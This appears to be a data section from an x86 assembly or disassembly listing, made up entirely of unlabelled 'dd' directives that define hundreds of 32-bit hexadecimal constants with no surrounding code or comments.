dd 17535A54h, 2523A41h, 8754A6A4h, 0D2019278h, 0A080B61Eh
dd 76133A60h, 6BE4C809h, 0B60A3A3h, 0D386C090h, 3F18C324h
dd 0E1E04CCEh, 2103C7B0h, 54D157A9h, 0AAD014ADh, 206C80E2h
dd 96B84018h, 5D1D52F8h, 0CF84BBEh, 29AC9226h, 96BB1EAAh
dd 8E84296Dh, 84BC7E8Dh, 80A18AAEh, 0D094253Ch, 7097BF00h
dd 2B6214CAh, 3CCB00E9h, 0FF7A6B74h, 98C436B6h, 0CC883E89h
dd 0FAD413B8h, 154400F5h, 0BC61D579h, 382C1404h, 0A0870E2Eh
dd 2DD3BAA0h, 788A0D1h, 4890A2h, 7E13A865h, 664B951Ch
dd 0E4845251h, 140EB30Eh, 8382E9D0h, 0F0B79AADh, 630422h
dd 0DEFACBB1h, 6B95AFBDh, 0B21ACF03h, 0C836CC79h, 0C1298Eh
dd 7F142426h, 84594D75h, 36BCF250h, 0CDC21A00h, 3C60E0EEh
dd 94230E2Ch, 79E1F913h, 24F74F54h, 0D5409F98h, 41CE0926h
dd 5889D84Dh, 0F4A0802h, 0C24ECF00h, 0FF7067h, 0FAE61950h
dd 965E2E60h, 752A6BFCh, 0AA06C83Ch, 176C65C6h, 60ADF6E9h
dd 0A831B0BFh, 0BE2BF9D8h, 0A20130DAh, 1443D54Eh, 7707EB18h
dd 6C4CC874h, 706C2039h, 3027D5E2h, 0E35612F3h, 0B008941h
dd 662FC81Ch, 1DD14647h, 954DC20h, 9CACC1CDh, 23BAA70h
dd 0FC04BD16h, 0DCC07F24h, 0B540E667h, 0C887CDh, 67773A1Fh
dd 0A5225E6Bh, 66CBE48h, 0B74CB127h, 0BCBB0051h, 9495B6A0h
dd 0FE13ACFFh, 246026C6h, 89EA4Fh, 8E777F0Eh, 5295B2AAh
dd 6BAE540Ch, 0D4481Ch, 0F00A6F22h, 3B8B5945h, 5CC76404h
dd 8CCBD0E6h, 6A30AB04h, 55EF009Dh, 0B2BBFF56h, 150AC0Ch
dd 3BA86C3Ah, 537A1B03h, 33E82D48h, 1F00AE83h, 0E9CBEA0Fh
dd 19C9DA5h, 0DE40A9ABh, 240294CFh, 0D90065C4h, 10483EBh
dd 76FB3B2h, 0BAABAB4h, 4838EB20h, 8400B75Bh, 0B89F2D12h
dd 0B2279382h, 0E0A20624h, 0F0FE3F3Ch, 18F03B12h, 430DA848h
dd 248A280Fh, 0D3C4A7h, 0E03954FAh, 0AF0B4202h, 600D65CFh
dd 4F62E40h, 4341ED10h, 0CC08909Fh, 210030AEh, 6CD612A4h
dd 160B7086h, 3A9B72h, 0E4821584h, 56016048h, 66CCAD1Ch
dd 308355BCh, 0E2E36979h, 0AE146871h, 92CB15Eh, 20601B70h
dd 0D1372F34h, 15BEF6ECh, 0D0E7E834h, 0F1A88B00h, 9F09EDC5h
dd 0A5773276h, 0A4D341C0h, 60382486h, 73BC11CBh, 0C846AB4Fh
dd 4CCBE608h, 202F3240h, 1B790186h, 6F17AC30h, 55BFD029h
dd 748EA70Ch, 2408Fh, 7A737BFFh, 2AEF680Dh, 0FE7538h, 4539ED0Bh
dd 4A57EFDh, 0A073F140h, 4C6CD243h, 55872851h, 60B33231h
dd 95190112h, 4D85DBF0h, 9364707Ch, 1D04C49h, 0B7D5FB5Dh
dd 40808ED3h, 0F422E3C5h, 0CB3F0339h, 0DD678ADCh, 4F00E8CEh
dd 0D09BEF72h, 16A300BEh, 0E3D75C83h, 6D097DE9h, 38646854h
dd 54CFFB20h
dd 924DC8ABh, 189F9078h, 0B19A2280h, 1D0E769Ch, 49BA604Ah
dd 6CFB022Ah, 9F88403Fh, 40E20037h, 77B8B1Fh, 0B7061108h
dd 75EBECD5h, 0BBF10051h, 96E377B1h, 0ED078A08h, 0E2CDBEFBh
dd 95AB0C80h, 77AA0025h, 2BA1039Ch, 30A08B2Ch, 7462739Eh
dd 819FA788h, 4B592048h, 1D8688F0h, 8045F9D6h, 4312E951h
dd 0A60F7135h, 3275E454h, 0C9BC3000h, 88B9F3A3h, 0A1281F5Bh
dd 0A919E543h, 950921A8h, 5BB2180h, 5E604742h, 2BC7E00Eh
dd 0F80980EDh, 638B79F9h, 0A0972898h, 0D6F3100h, 8FC35BABh
dd 2334005Eh, 396C7AFCh, 17265790h, 0A926BA94h, 0C0EFE30Ah
dd 0C70EAA26h, 0D9088096h, 7194D11h, 41C06598h, 0B91C207Ch
dd 1DB00E97h, 8B34DC17h, 867B7600h, 5D61C9F2h, 280044BAh
dd 2C36988Ch, 0BC012575h, 0FD7E483Dh, 2081E131h, 0D4308C05h
dd 1307E45Ch, 0DF6A5202h, 7661B45h, 17CC1027h, 55029E34h
dd 5D6E6401h, 0A3876091h, 9FC500BFh, 6F1B3811h, 0F1C68EDFh
dd 4102BAh, 0EA1F83B2h, 2405EED6h, 0F37D520Eh, 0CDE56038h
dd 482D0F64h, 78656607h, 0EB11C0D3h, 0AC0008D1h, 2E5F0E3Ch
dd 1FB9A435h, 0BBA884h, 0E2D00BE3h, 4600EB11h, 8DC9870Fh
dd 67C051h, 0F4E84B89h, 882B35BBh, 7E707801h, 0C984CD98h
dd 1B17ECh, 190C3D1h, 442A4F10h, 3311961Fh, 0A8A59EC0h
dd 22031Ah, 0D988657h, 0CE2AB6F0h, 4E93F01h, 0D12E0FF7h
dd 0C3C0C4FDh, 0EF543EADh, 30531F01h, 4042D3FEh, 7C3245ECh
dd 6FAB0126h, 6851FF00h, 0E0A2F159h, 5B1F00E8h, 0F8194E78h
dd 88010C2Ch, 0B542BF3h, 60CAC2B7h, 0B246D4h, 0FF838D9Ch
dd 0D3E6EAE2h, 0E4840900h, 0A261DE91h, 55DD07B0h, 208FA318h
dd 0D7170143h, 0FD243600h, 869A3A13h, 392F0059h, 9CF98A9Dh
dd 4300D1EFh, 2774E791h, 3C0F23E9h, 5F800414h, 13D74D2Fh
dd 410763DCh, 0FDD5325Dh, 90FAC293h, 422848h, 2F4773Ch
dd 907B5F35h, 0D696BC00h, 9854A9EBh, 716400AFh, 3B78FA87h
dd 0A00019E2h, 0F62EDE5h, 30030435h, 5750AA39h, 0A70069EAh
dd 511D5F3Fh, 76FCF9h, 9210230h, 1EEF0B78h, 0B2CAFB00h
dd 28BF96C0h, 41C205FFh, 0C35FFAA9h, 4098061Fh, 8DFF711h
dd 70BF8001h, 0EBCCF555h, 86710014h, 0C297EA65h, 181B947Dh
dd 0A839BD3Dh, 0F0B80A5h, 42454627h, 75C69E0h, 600066AFh
dd 64A3A0B3h, 0B7C93Ch, 1B012031h, 50EE0274h, 88177D37h
dd 0E668B8C0h, 61578AAh, 2AF935EAh, 1000308Ch, 65799F87h
dd 30B0FB2Bh, 0FE78DDA5h, 480F314Fh, 622753h, 7950D63Bh
dd 0CAA31D38h, 0F2113015h, 87FE0BA6h, 93007C78h, 70FB22DFh
dd 0E034E9F8h, 202652BAh, 2C81EE07h, 76AF4078h, 0D0006B7Ah
dd 0D5DF408Fh, 9851118h, 3BDA2B44h, 0E366EF80h, 80762AAAh
dd 5D2028C0h, 0B89DBB88h, 0DE08CA9Ah, 8157601Ch, 0EF5288ECh
dd 0C406030h, 74607D61h, 35D150Dh, 0A19F38D4h, 0C463204Fh
dd 8799D84h, 0DF30C503h, 44E73C58h, 0D93B80C0h, 684FAB8Fh
dd 0E9028884h, 0A028814Ch, 8694BF00h, 0B854A4BDh, 3A4A0ADDh
dd 0CC50F0C7h, 0D023FC68h, 6D1838C3h, 0D5ED4095h, 713068ADh
dd 15A9ADE0h, 64453D86h, 0EF8B5CC2h, 2B684030h, 80186122h
dd 0E9B2F283h, 0CCA0D24Dh, 0C72B33D7h, 0EF0344D0h, 0B835A802h
dd 8981C8A1h, 0F08AC880h, 0DC58B00Eh, 0B082AAE7h, 0C727C285h
dd 70BFB42Dh, 68D7F814h, 0D00A6087h, 0DE79D0F0h, 2510E718h
dd 34B2B048h, 7210C732h, 0CA195048h, 802FC000h, 6B67F071h
dd 7CF19DF0h, 10CDDD76h, 0D904A0E3h, 805D38BBh, 6250CEA9h
dd 513C922h, 0A29EA059h, 88A02D89h, 0EE805888h, 8C350Ah
dd 767E6610h, 0CE008D3Dh, 2D7490E7h, 3C41BD61h, 0DD1DF54Bh
dd 46100051h, 6B9D766Dh, 1E200C63h, 0DCC02411h, 541D1428h
dd 336C82A0h, 43E0198Ch, 8A427874h, 84597008h, 60EC1D0Eh
dd 1505D76h, 0E128F8C5h, 29EAB043h, 0C2F8BD60h, 6C989678h
dd 6776C640h, 0A9D21000h, 0CBB830F2h, 0BB7037E7h, 16FAC208h
dd 0B037CC47h, 20706FE4h, 84A15D9Fh, 4AF857DEh, 77E0E144h
dd 50801847h, 5D0A0F1h, 0A8C9B030h, 94902DDCh, 823839C2h
dd 41755660h, 184DD504h, 50C151D0h, 28D08FDh, 1E63C9CAh
dd 0B7E058D8h, 54996125h, 0AD3A160h, 28886089h, 0EEB49B40h
dd 9F60A091h, 0FD98E1C4h, 5A202880h, 40F0F54Fh, 90CA4E14h
dd 0DADA0F0h, 4E71296h, 0D63006B4h, 857EF05Fh, 3C185CE9h
dd 8B4BEE0Ch, 126060FAh, 2CF5C520h, 0A10E6370h, 0C34EFE54h
dd 52C2C058h, 7DC5B058h, 42BAC496h, 0D3E3A080h, 0B2043C94h
dd 8BC7063Ah, 0D0EF011Ch, 0A41CB0F5h, 0AB588080h, 7EB43073h
dd 0F4DFE031h, 0FB30E409h, 26DC00FEh, 3A50F3AFh, 605795CCh
dd 0C29FB301h, 40DB9892h, 0E40D10B8h, 0D505707Fh, 1379F0CAh
dd 192BA801h, 0D82250F5h, 15DD5D80h, 0C4A8F188h, 94A7B36Fh
dd 0B12C4003h, 1828C6CEh, 0D0B23780h, 18A5BD93h, 3DC5BB0Fh
dd 6006F790h, 90E409A0h, 10140874h, 0E0A0EDBBh, 0F2DC262Ch
dd 0C0F4A023h, 0CA640213h, 0F0FB9750h, 3A420216h, 0C99DE40Ch
dd 62CFCC81h, 0C19C22CAh, 7601A3D9h, 302929B8h, 0A14A8110h
dd 84D445h, 0A3F849E0h, 0CAEA91DCh, 0A2D60E0Bh, 0B77F8563h
dd 0D8CBBC0Ah, 5E607429h, 202FECE0h, 6315C873h, 0C150E4F5h
dd 41E2A726h, 802805C7h, 70F5BC73h, 0C6B18C28h, 60C9F963h
dd 90EEA0A1h, 766B050Eh, 6A7E91Dh, 8A4A8F4h, 3ED16F20h
dd 3C574A23h, 2A0CD239h, 0C05086BEh, 0F2A33507h, 0F05A2410h
dd 0D0405018h, 0CA540560h, 384A2A70h, 310AEEF8h, 0C4928AB7h
dd 0F2929C9Ch, 581CA42Ch, 296E0127h, 84D9FD00h, 0D3527C5Dh
dd 0B4E58050h, 0A0EA68DCh, 486DE0B4h, 96131C88h, 7E7438BFh
dd 1B0DA400h, 2C86B7DFh, 40F40789h, 40F3B5F7h, 58299BD7h
dd 1416771Fh, 0FA36BC40h, 4EF759h, 9C7CE951h, 7DCFDBBh
dd 0D733AB00h, 5B46ACCAh, 153D01FFh, 3EBB1D96h, 86CEF49Bh
dd 0FECF4C00h, 1A81758h, 0ACFC01DEh, 0E59CC95Fh, 1D7CE008h
dd 5C000D7Ch, 974F8018h, 0EA2F12h, 0FB65901Ch, 0E952263Ch
dd 66B8BC1Eh, 8377C1Ch, 0C0677083h, 9415Ch, 3FDB57A5h
dd 0D13277A6h, 584810CFh, 0DC52FB0h, 64909CFDh, 0C0E50710h
dd 4248F0FCh, 0DD155777h, 8164BCDBh, 0B1F8ABB0h, 4159EC11h
dd 0BA1CF790h, 634107D0h, 1716774Fh, 644631E0h, 803C51A0h
dd 0E88B02B8h, 146ECBBCh, 30C9DCE9h, 26E601C0h, 86FA0376h
dd 0D0380C3Dh, 2A747FBCh, 0C417D701h, 54E47CD0h, 0F8D18C40h
dd 63C5E859h, 70947867h, 0BE3ED7E0h, 613D1F03h, 0B9B7A56Dh
dd 84D35825h, 0D79C79C1h, 0D833C4Ch, 9F64BF13h, 2092F9D8h
dd 6C611700h, 2E569708h, 885F8840h, 7E3C28E8h, 0EA9C02B4h
dd 0CF97427Bh, 51702898h, 62400676h, 20F648CCh, 94D0973Ah
dd 0D81C61D7h, 2865B7h, 1C9664Ch, 4F736CFCh, 8C6F8257h
dd 2822C7C8h, 0F708C203h, 1840D83Bh, 0F407125Fh, 0D0CE7B3Ch
dd 0DDEC3941h, 108770F1h, 21F1591Ch, 448829D7h, 6D8C594h
dd 0D0F7195Ch, 600DB931h, 17D00E24h, 2877881h, 59F205B7h
dd 0A481CF77h, 20654637h, 8A66FF4Ch, 0F8589D48h, 0F42D3EEAh
dd 0D0E16902h, 8C4360FCh, 838CFEA1h, 4F76A118h, 1F10A6F7h
dd 67441DCh, 8813EE7Ch, 58FD2E01h, 0D0DFB057h, 0A30E51E0h
dd 875BDAF4h, 14487BE4h
dd 1714F0D6h, 57398886h, 9E9718E2h, 703C9C40h, 37183490h
dd 5C400F8Eh, 0E4B8C503h, 88006F9h, 0E6F6820h, 18201F08h
dd 30FCC637h, 0A8CC5E76h, 33575890h, 0E4085D8Fh, 0F5377012h
dd 4BD2D05Ch, 18C0000Ch, 810BEE17h, 0EF098964h, 5A7402CCh
dd 0D7D441F3h, 48A00C34h, 0AD1D7853h, 85FC0089h, 0DDD149Ah
dd 0B9185063h, 345CE154h, 0E87C8C20h, 2EA7810h, 57A624B3h
dd 0F4405DC5h, 50CC588Eh, 48790986h, 0AD19F46Ch, 0F7F87833h
dd 0D95B1CE0h, 0DCBD1F24h, 1F03350h, 0CF7C9FCCh, 20166C86h
dd 10547728h, 249272F4h, 0FCE83260h, 3DDCE28Ah, 0F8EE427Ch
dd 5CF41700h, 0EC901006h, 0B0F33128h, 0FC763E28h, 0E1E87351h
dd 21218A7Dh, 8E12A40Fh, 49F73402h, 0AC304185h, 2A1070A4h
dd 2F9303DCh, 26EADCDBh, 58214037h, 305007F6h, 10697CF7h
dd 0BC24C96Ah, 0DC0A64D6h, 4898E454h, 90B11C10h, 0FCBC3134h
dd 205FC491h, 0F4A3CB14h, 0F08368A2h, 91877B7h, 5C205A88h
dd 49349059h, 6B197034h, 348B3016h, 362653Ch, 6F9BAB0h
dd 37123013h, 0CC0927DFh, 177883CEh, 8D06C4A7h, 2E8605Ch
dd 731CDE01h, 0B33CC960h, 646050A8h, 80FA5817h, 0B7BBBC1Ch
dd 0A097A53Ah, 0E4E84C29h, 222FC12h, 5BE03C08h, 63DE0040h
dd 9865E2E9h, 3A81C500h, 0ACD906Ch, 2BF78C86h, 0B0A1189Ch
dd 8748F6B7h, 1C9F2930h, 4A36A382h, 2C786827h, 97C0A04Eh
dd 0A6400B89h, 202E5D37h, 7CF00B80h, 20A4AD7Dh, 8F29710Eh
dd 4C78B860h, 0C9C72B49h, 986D8134h, 9937A8h, 0E2C93EECh
dd 0AC884C7Ch, 0F3D9570Ch, 0F4A02C08h, 1850AEB7h, 20FB62F0h
dd 18989644h, 707A3C26h, 74E8263Ah, 50147391h, 7431E086h
dd 34499740h, 0F54A474h, 20C50EFCh, 0D406091Bh, 2468FB0Ch
dd 1834F040h, 0E037F8CAh, 443893FDh, 876A7844h, 4F04C04h
dd 540C29C5h, 0A34DFC60h, 49B12278h, 3024580Ch, 0D0243A00h
dd 44AD9784h, 874ABD18h, 78AA59A4h, 5677923Ch, 542C144Ch
dd 1885D718h, 88984517h, 4C535738h, 15931074h, 6056B12h
dd 98FA0440h, 0F7E02363h, 31C901AFh, 0CD3CDBBDh, 3EA4403Fh
dd 9C18DE03h, 0EE48023Bh, 8190C41Eh, 0EFC8C32Eh, 0D931087Ch
dd 0E86C182Dh, 1CF5FC21h, 0B20F1085h, 5E18C3DBh, 987DA826h
dd 0A049CB91h, 73143374h, 78129798h, 7004EF9Ch, 6C81D8DCh
dd 0A7EF617Ch, 8C047C5h, 7850541Ch, 2AFA31E9h, 346FA420h
dd 68985674h, 17501B3Ah, 1C45D9DCh, 50C25335h, 0BC80EB93h
dd 0C4BACD3h, 3B1D9C10h, 5E03B138h, 0C48F5CE9h, 37C2A1FDh
dd 0F5E7C0F3h, 0B7DC24F1h, 0D2DF80A4h, 0A7191D1Fh, 2CB0A65Ch
dd 6A0EE49Ch, 9B178075h, 21D11E5h, 3D14D08Fh, 0E08FDEA8h
dd 1C83314Eh, 10123635h, 5404D253h, 881A14Fh, 45F2B142h
dd 0A8338198h, 29373BEh, 1E4450Ch, 799A7819h, 0F97C71C6h
dd 0B71470EAh, 51CFA5Ch, 0E8804F37h, 0C303C8CBh, 6D2F3C92h
dd 75CC3809h, 49A80EF5h, 0E87C0584h, 5F428045h, 203FBC0Ah
dd 85E68760h, 31E49258h, 0F770956Ch, 0DC1C30F2h, 33A87E02h
dd 6061DA97h, 74FC2E08h, 460ACB7h, 89DBECEAh, 8CF48092h
dd 0C91AC81Dh, 87C8D6DCh, 0BC72E7B0h, 0B70CE1D7h, 0A58AC072h
dd 264420A5h, 2C0C842Ch, 0B8A05BACh, 6E62D46Bh, 0C0554CF0h
dd 988D97C8h, 0B1772CC0h, 1F9397FCh, 67220C54h, 74908688h
dd 0D8A5BC26h, 0FAE8F706h, 0CCAE4D28h, 8608D637h, 6F01899h
dd 17251498h, 67CC00C2h, 2437A508h, 934C8D7h, 1C023FA1h
dd 0C8C05953h, 50908118h, 1230AE48h, 0C481711Ch, 308A3A91h
dd 0BA06066h, 0D01CDACBh, 5AEC4006h, 90D80E1Bh, 0F7C8C472h
dd 82CD27Dh, 917758C0h, 372C50B0h, 0DC0B141Ch, 0C348AADh
dd 10E76258h, 120187F0h, 0E049190Ch, 94940B31h, 34CA0480h
dd 44ADA5F9h, 0E8856E10h, 0CC81828h, 38707A05h, 1F28CC28h
dd 0AE00A804h, 0F8DCE90Dh, 0F87CFDBAh, 38DE48D8h, 4DFBDB0h
dd 0B983F110h, 1290C628h, 380FE1BCh, 0B210562Ch, 78856CF1h
dd 0AAC805B7h, 227C2864h, 9324F671h, 0E38224B5h, 14FCC9B0h
dd 8C2ED074h, 4C8A88A7h, 170CFCCEh, 503C90EAh, 509CEC31h
dd 27DD874h, 9D11E45Ch, 88C70C15h, 5449082Dh, 0A4C4EC0Bh
dd 0F0D1332Ch, 7C207128h, 8635CC7h, 1876EA18h, 0EB01819Ch
dd 0A8EC515Ch, 1089B4D7h, 4424F43Ch, 8568B007h, 763AA49Ah
dd 333C3CF5h, 12461027h, 6C2BC18h, 894FC04h, 402C9C24h
dd 0B8064C93h, 0F81072BCh, 905D4C1Eh, 9CE326h, 0EA2B107Ch
dd 8A3CBBDCh, 6EC71DE8h, 281FFC06h, 5EF426F0h, 89BF0C04h
dd 545CE508h, 0C0D9264Ch, 6FEC5C06h, 64482008h, 14B0F606h
dd 2638F05Dh, 89D401FCh, 58033E95h, 781B3F6Fh, 9C106B9Bh
dd 0FEAE3C02h, 94D710C1h, 1CB41819h, 48EEA85Ch, 83458D0Eh
dd 0C1234A17h, 9C715F77h, 0E9B8CDE0h, 0C63DAFD8h, 30291338h
dd 400D0533h, 77201996h, 28970807h, 262858D0h, 9F0C88CCh
dd 7420502Dh, 0B6B7302Eh, 67969C20h, 83CD0982h, 12D61918h
dd 0B702740h, 5402A23Ch, 0A88374FCh, 80C1CDCh, 0E050AC9Ch
dd 185B628Ah, 1460466Eh, 0C0A132B4h, 30C8BC66h, 113C202Ch
dd 54189867h, 50F7E0AAh, 984DE80Fh, 0BAC0EE30h, 6ECA31C0h
dd 8C584130h, 706F3D08h, 0E29CA3D8h, 9D544162h, 6F9EEC22h
dd 9C4C540Ah, 24042E0Ch, 65765800h, 0AFB5508h, 1F904CFh
dd 9E38A2DEh, 9AAAC4C4h, 0A2CC9C91h, 3303144Bh, 0A6442AB7h
dd 0FB6C7818h, 98C8BC28h, 0E2188EA8h, 24B6904Ah, 16F4B655h
dd 7C1806FAh, 0E8EBB019h, 6890F413h, 47C828A9h, 8DBCE98h
dd 1120EBE3h, 609C18BFh, 0C35A1880h, 57BCFD14h, 301778A4h
dd 0E00BDDEAh, 0C8E40135h, 485CCA8Dh, 0C6491E19h, 2CC0F192h
dd 226871E6h, 22B4C024h, 40B6012Bh, 4B06C6B9h, 47F6DCDBh
dd 0B88D6008h, 0EA287CFCh, 0A02790h, 41ED2CD7h, 21E132FCh
dd 34E1C298h, 802C327Dh, 3C5AF788h, 0E9B7409Fh, 1CF41B05h
dd 0E4040CCFh, 4483C754h, 26F87CC0h, 920F764h, 0EC051076h
dd 9C4883F2h, 34640C48h, 9C8BF081h, 163C5603h, 0C812EAF2h
dd 64C3050Ch, 99A926EDh, 3BBC0688h, 58260881h, 0A517305Eh
dd 0F428A452h, 0AF3B0948h, 0C48FB751h, 808222C9h, 0D0A6EAF7h
dd 0A88550E8h, 65BE84B9h, 309270A9h, 17CC9F4h, 6E239700h
dd 0E20A38C9h, 78DC14F0h, 0FC2B22B9h, 10A66C7Fh, 2C22FA7Fh
dd 0BC8C1851h, 481F606Fh, 60964274h, 88A0BCE0h, 2CC9C27Bh
dd 0FC068731h, 0D8175230h, 27852C8Fh, 4C409092h, 60C48025h
dd 811E5Dh, 7C4A5BF9h, 50226B06h, 0EC209968h, 79B712EBh
dd 2164050Fh, 0C098A253h, 470A257Ah, 1FCE40A6h, 0D0F0C96h
dd 0E02D5641h, 0A2E8A4F5h, 0FDF183ADh, 0D59070C7h, 80857098h
dd 55BBA381h, 0CC00BEEFh, 0B081565Dh, 48DFBC74h, 990B6818h
dd 8C16E952h, 0EEDBD32Eh, 2CC8C215h, 0DC0958A0h, 3C88804Eh
dd 0B9DBDEF9h, 0EF416E14h, 207D88E6h, 39298C04h, 3BC0805Dh
dd 404E9A61h, 95152C9Fh, 0C014FB3Ch, 922AB076h, 594C8038h
dd 8C2C534Eh, 383B1593h, 0EC3A90CBh, 0F17C2864h, 6D7FD0C4h
dd 6028A54Ah, 1A9B0AA3h, 8CC4F539h, 0ADB0657Eh, 6E908CE9h
dd 7451F82Fh, 0C0AC9926h, 3120C0EEh, 7B1B33Fh, 1CEBF893h
dd 909A08E9h, 0E24F6D58h, 0BC9C0027h, 0D5D7CCB1h, 0F1337A5h
dd 0F88BE95Eh, 71AB047Eh
dd 8BB1B884h, 0D1BE038Ch, 14DAE536h, 0EC498C20h, 0CA9712h
dd 0AC81724h, 60FFD7A5h, 0AD333CD0h, 388C20F0h, 94D18809h
dd 0FDFF7F4h, 0DEC71DBCh, 0D0C93B00h, 1F262FFCh, 52583CF4h
dd 0B48418E1h, 752C7885h, 39606C60h, 32F7A5D1h, 0C780B3Ah
dd 2CC1F842h, 0CFD4209Fh, 2E4BD78h, 0F733AB02h, 0C0C950D6h
dd 9DBE010h, 0D0B9D7BCh, 0A714B416h, 86B46662h, 34C0F94Ch
dd 3008D7F7h, 0CD5444ECh, 9633BC00h, 0C9CAA5A0h, 0EF120069h
dd 8CC79166h, 470077CBh, 0ABF23814h, 41D0B6h, 765AA3DDh
dd 354FCA17h, 0FC735501h, 43A80778h, 268C1448h, 0E1B53Ah
dd 0BB564D09h, 2500D461h, 0C5C6BE2Ah, 4A1D02F1h, 0E85FC0Bh
dd 418B06A3h, 4D087684h, 58E61CCh, 0F85825C6h, 7B14401Bh
dd 38F5D8A1h, 164C1408h, 4850831h, 654403E0h, 366240E5h
dd 0C6912D1Eh, 5C02473Eh, 2AAA4988h, 8F93D601h, 9B06504Ah
dd 79C9D8A9h, 0A252F604h, 0D12865C6h, 7F72370Ch, 0A96C873h
dd 45CDDFC2h, 209AC33Ch, 50E6C6DCh, 0E47AB60Ah, 41EE78CDh
dd 4B10050Ah, 40565082h, 64B8D4C7h, 0D615BE31h, 0AA06163h
dd 3CEA16ACh, 96981FE0h, 3DC628E4h, 3AC403A0h, 630965E6h
dd 0D41185A1h, 4903C5E7h, 0F5258975h, 5945A069h, 78E65733h
dd 14FFCF07h, 80B4AAEDh, 0E437A0CBh, 0E60C3FE9h, 486AFD25h
dd 0EFB03C33h, 192B3D10h, 3470418Ch, 0E0E5C3EFh, 1F841D7Ah
dd 0E89665Eh, 0A584800Ah, 0B49C7002h, 4FDD3097h, 0C37FD6E8h
dd 0C7D8D452h, 0DFB60D64h, 0C7F61229h, 8A2838C2h, 15F4500Ah
dd 961E88CCh, 2838B8D2h, 0D9F60C38h, 0B628C78Bh, 37EADE04h
dd 5705204h, 772A9213h, 4C15D86Dh, 0C13CEA2Eh, 0E178E712h
dd 76A19Ch, 0B7C437E8h, 6516EA27h, 6607F4D4h, 485A2422h
dd 0DA41C7E7h, 40856E6Bh, 19A6516h, 0D22BCF9Ch, 0ED1C0A6Dh
dd 36C4BE76h, 20B95C01h, 0E5147FA4h, 9EF305Ch, 0A4B3EB88h
dd 1FD6E003h, 3783047h, 0AB4D9231h, 0F6280C9Dh, 45C8E1B4h
dd 54E6F424h, 3447C658h, 0A031AEC2h, 6456375Fh, 41350240h
dd 29E6DC5h, 0F161E8B6h, 1A44A24h, 0F5EC7CFCh, 0B840077Fh
dd 5620B7E1h, 57043C44h, 90BFF43Ch, 0F77A76B8h, 0A01CA8D4h
dd 1483AE92h, 0AC0A82FCh, 20C31571h, 0D68028E4h, 899FBF6Ah
dd 393678C4h, 0D5459881h, 1225A820h, 2CE5268Ah, 4118EFC0h
dd 0D689F21Ch, 3ADC00DDh, 0F4AA34C4h, 0F62BE945h, 0EA817413h
dd 7E52C52Ah, 635F600h, 0C705E73Ch, 0CE1212Ch, 96602CBAh
dd 0E9273A02h, 435E7825h, 1DFA12B8h, 6D1028A4h, 0DC303EFAh
dd 4FB66081h, 7FC8C45Fh, 74288E3Bh, 89A8C14h, 3CC3D08h
dd 822705E6h, 0C016A089h, 4604423Ah, 18348304h, 5F7E071Eh
dd 81E723EDh, 80EAE66Bh, 1A6AA921h, 749B724h, 0D9B5B39Eh
dd 6484EA1h, 5D5A7B07h, 0FD69F050h, 689B0047h, 6110BE8h
dd 0A5616C4Eh, 96014634h, 0F2925B60h, 3FF90382h, 212B8D91h
dd 833CC9F0h, 68725A01h, 4B1A4892h, 0B62C180h, 31E6D9B9h
dd 0C92B5107h, 15429228h, 2209008Fh, 2BB82A0Dh, 0B7039701h
dd 4F346318h, 7F35FCh, 6532E645h, 0E7F91924h, 0E39AA81Dh
dd 0DED09747h, 0F6CED7E0h, 0C63CA573h, 3C8020AEh, 0E9726061h
dd 168EEB00h, 4B3B4993h, 70C602ECh, 5C4E15BFh, 43AF807Dh
dd 30238563h, 0F70E36Dh, 0B628CA2Eh, 0CC01F49Fh, 0DF673CE8h
dd 0C9E8891Ah, 0A863F2B3h, 2C8ED4h, 7FE717F3h, 12739EC0h
dd 78FCB275h, 0E53C20h, 0B70CF166h, 0C69D1D25h, 4487E101h
dd 2B7B60F9h, 30F376EDh, 88ECB1B8h, 2EFABF75h, 0F9D11200h
dd 60A03D9Ah, 745EE85h, 0E154277Ch, 0E4DF0067h, 6A028896h
dd 73729392h, 0B85CA031h, 106371E9h, 80E8DE7Fh, 0E643E070h
dd 5B4900CAh, 272A8A33h, 4F636771h, 0D8920538h, 0A97B98h
dd 56A189F2h, 0F0887A72h, 2D249318h, 6505F9h, 0CECDAE31h
dd 0E4C513DDh, 18C8A002h, 44E7FD70h, 1A690250h, 9F319D87h
dd 1F8C18h, 18CA8239h, 92575BD7h, 0F99D0500h, 19B48547h
dd 948E00BDh, 78D4A7EFh, 64637E9Ch, 99AD5278h, 898006F8h
dd 0CA8E1ABCh, 2429F121h, 395940E7h, 44020A0h, 3AA90181h
dd 7F20905Bh, 0FF00E157h, 47A0E6A2h, 24CDC58Eh, 0DC806AB9h
dd 0A44C8D00h, 97D5FA10h, 2B4600EBh, 9D9F7D51h, 1502A7E8h
dd 0C5C90944h, 0E204487Ah, 2208C013h, 877B017Ch, 84392500h
dd 0C84895A2h, 505A0040h, 28DB0946h, 309A2F34h, 6791D600h
dd 55F37EB8h, 12260085h, 0DA13BDE1h, 3500B728h, 0CEA2F824h
dd 2EE6A0h, 7DA3B5C2h, 8E18CCDCh, 0E0CF9F06h, 70509E4Fh
dd 0B1540CC7h, 0AC404C5Fh, 0A4083564h, 0AFAE1493h, 8D534AE0h
dd 0AC9C1CEAh, 32BD0040h, 31A78990h, 2C139E0Ah, 2403284Bh
dd 0D25F0211h, 0A0861883h, 566CB083h, 9EA93EADh, 6BF7AB80h
dd 616E4C34h, 0B536FA1Dh, 595B4001h, 39D4F12Dh, 7C8281Dh
dd 345652D2h, 0A115DB01h, 0BDA1427h, 53446700h, 32ABD8F0h
dd 0FED17900h, 0FBAE910Dh, 0EBE50084h, 8BB13AEEh, 10086B4h
dd 50D9FE36h, 0F1F03C6Ah, 12C398F0h, 30FB8918h, 9A293434h
dd 4830BC48h, 0F6C9B0C4h, 0A658000Ah, 659C18C1h, 0C624036Eh
dd 0BC3FDC30h, 403DA66Fh, 0C930E01Dh, 0FEF5FE9Fh, 1AFF001Dh
dd 0B7EEED1Fh, 4F003E44h, 6E42C5E3h, 15F9EBh, 0C1F6A037h
dd 84A12A94h, 67CD0E00h, 1E175627h, 0F254A4BAh, 0B96139D7h
dd 12C2C738h, 0C8001952h, 0C25DAF74h, 99053C9Ch, 0A87E5B80h
dd 0B628DFFFh, 1CB93538h, 0A7814DCCh, 2E4FCE56h, 2FC81896h
dd 9069694Ch, 2E1A4Ch, 22062F02h, 5391D787h, 1500B490h
dd 0E1C86A35h, 0A810D189h, 1F4A3688h, 0C0B58733h, 7A6DB75Bh
dd 104CA7BEh, 3918096Ch, 0D03774h, 4B4C95B0h, 0E41FA290h
dd 7DC5048Eh, 508081EDh, 725D6A69h, 5E850B54h, 2280F5C4h
dd 167DBDE4h, 0A804300Ch, 60BE71B3h, 20120855h, 9924DD45h
